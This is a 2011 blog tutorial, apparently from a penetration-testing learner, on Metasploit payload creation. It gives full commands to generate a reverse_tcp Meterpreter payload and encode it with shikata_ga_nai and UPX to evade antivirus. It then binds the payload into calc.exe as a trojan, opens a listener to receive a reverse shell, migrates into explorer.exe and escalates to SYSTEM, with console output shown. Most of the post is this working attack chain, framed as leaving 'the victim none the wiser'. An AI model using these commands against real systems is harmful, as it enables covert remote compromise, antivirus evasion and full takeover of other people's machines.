E-Spohn

I’m going to jump ahead a bit this month.  I’ve been attending the Offensive-Security Ohio Chapter meetings, hosted by Offensive-Security and Diebold, Incorporated, and lead by ReL1K.  If you have the means and you’re just getting into the business of ethical hacking, I highly recommend attending.  If you’re not in the area, the last meeting was streamed via USTREAM, so check the Offensive-Security site for details.

At the first two meetings, we learned the basics of Metasploit, Fast-Track, and SET.  I’m just going to cover the topic of creating a payload and encoding it to avoid detection from anti-virus.

First, we use “msfpayload” to dump the shell code that will produce a reverse bind Meterpreter session.  Meterpreter is the holy-grail of Metaploit.  It allows us to easily upload/download files and run commands, steal access tokens, disable AV, enable RDP and much, much more.  The reverse bind allows the session to traverse a NAT environment.  We just need to assign a port that we know will pass any egress filter, such as 80 or 443.  Here is the command that we use to create the raw data:

cd /pentest/exploits/framework3
msfpayload windows/meterpreter/reverse_tcp lhost=192.168.0.147 lport=443 R > moo.raw

Next, we create an executable from the raw dump and encode it with five iterations of “Shikata ga nai” (Japanese for “it can’t be helped” or “nothing can be done about it”).  It is an encoding algorithm that we use to avoid detection from AV.

msfencode -i moo.raw -o moo.exe -e x86/shikata_ga_nai -c 5 -t exe

Let’s put this executable to the test.  VirusTotal is an excellent site that allows to upload a file, which it will scan using numerous anti-virus engines.

Not bad, but hopefully we can do better.  Another trick ReL1k taught us was to use a UPX packer, which will further help us avoid being detected.  Here is the command to create a “packed” executable:

/pentest/database/sqlmap/lib/contrib/upx/linux/upx -9 -o moo_packed.exe moo.exe

It’s not perfect, but definitely better.  There’s always going to be a cat-and-mouse game between the hackers and the anti-virus vendors.

One more trick.  What if we want to attach the Meterpreter payload to a known good executable, such as “calc.exe”?  Here’s a quick one-liner.

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.147 LPORT=443 R | msfencode -x ./calc.exe -k -e x86/shikata_ga_nai -c 5 -t exe -o payload_calc.exe

Then we just need to setup a listener using Metasploit’s “multi/handler”, copy “payload_calc.exe” to the victim machine and execute it.

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.147
LHOST => 192.168.0.147
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.147:443
[*] Starting the payload handler...
msf exploit(handler) > [*] Sending stage (749056 bytes) to 192.168.0.123
[*] Meterpreter session 1 opened (192.168.0.147:443 -> 192.168.0.123:1089) at Mon Mar 21 17:17:07 -0400 2011

msf exploit(handler) > sessions -i

Active sessions
===============

 Id  Type                   Information               Connection
 --  ----                   -----------               ----------
 1   meterpreter x86/win32  BUDLITE\spohnl @ BUDLITE  192.168.0.147:443 -> 192.168.0.123:1089

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Booya!  We have a Meterpreter session and the victim is none the wiser.  As a final step, we’ll want to migrate the Meterpreter session off of the calc executable so we can maintain our session after calc is closed.  Oh, and don’t forget to upgrade your access to SYSTEM!

meterpreter > ps

Process list
============

 PID   Name                 Arch  Session  User                 Path
 ---   ----                 ----  -------  ----                 ----
 0     [System Process]
 4     System               x86   0
 540   smss.exe             x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 612   csrss.exe            x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 636   winlogon.exe         x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 680   services.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 692   lsass.exe            x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 848   vmacthlp.exe         x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 864   svchost.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 940   svchost.exe          x86   0                             C:\WINDOWS\system32\svchost.exe
 1044  svchost.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1120  svchost.exe          x86   0                             C:\WINDOWS\system32\svchost.exe
 1288  svchost.exe          x86   0                             C:\WINDOWS\system32\svchost.exe
 1436  explorer.exe         x86   0        BUDLITE\spohnl       C:\WINDOWS\Explorer.EXE
 1532  spoolsv.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1720  VMwareTray.exe       x86   0        BUDLITE\spohnl       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 1736  VMwareUser.exe       x86   0        BUDLITE\spohnl       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
 1892  inetinfo.exe         x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\inetsrv\inetinfo.exe
 1940  sqlservr.exe         x86   0        NT AUTHORITY\SYSTEM  c:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe
 224   snmp.exe             x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\snmp.exe
 244   sqlbrowser.exe       x86   0        NT AUTHORITY\SYSTEM  c:\Program Files\Microsoft SQL Server\90\Shared\sqlbrowser.exe
 336   vmtoolsd.exe         x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 376   VMUpgradeHelper.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
 2148  alg.exe              x86   0                             C:\WINDOWS\System32\alg.exe
 3364  wuauclt.exe          x86   0        BUDLITE\spohnl       C:\WINDOWS\system32\wuauclt.exe
 3372  cmd.exe              x86   0        BUDLITE\spohnl       C:\WINDOWS\system32\cmd.exe
 2508  svchost.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 3700  payload_calc.exe     x86   0        BUDLITE\spohnl       C:\WINDOWS\system32\payload_calc.exe

meterpreter > migrate 1436
[*] Migrating to 1436...
[*] Migration completed successfully.
meterpreter > getuid
Server username: BUDLITE\spohnl
meterpreter > getsystem
...got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

That’s all there is to it.  Now you can have your way with this system!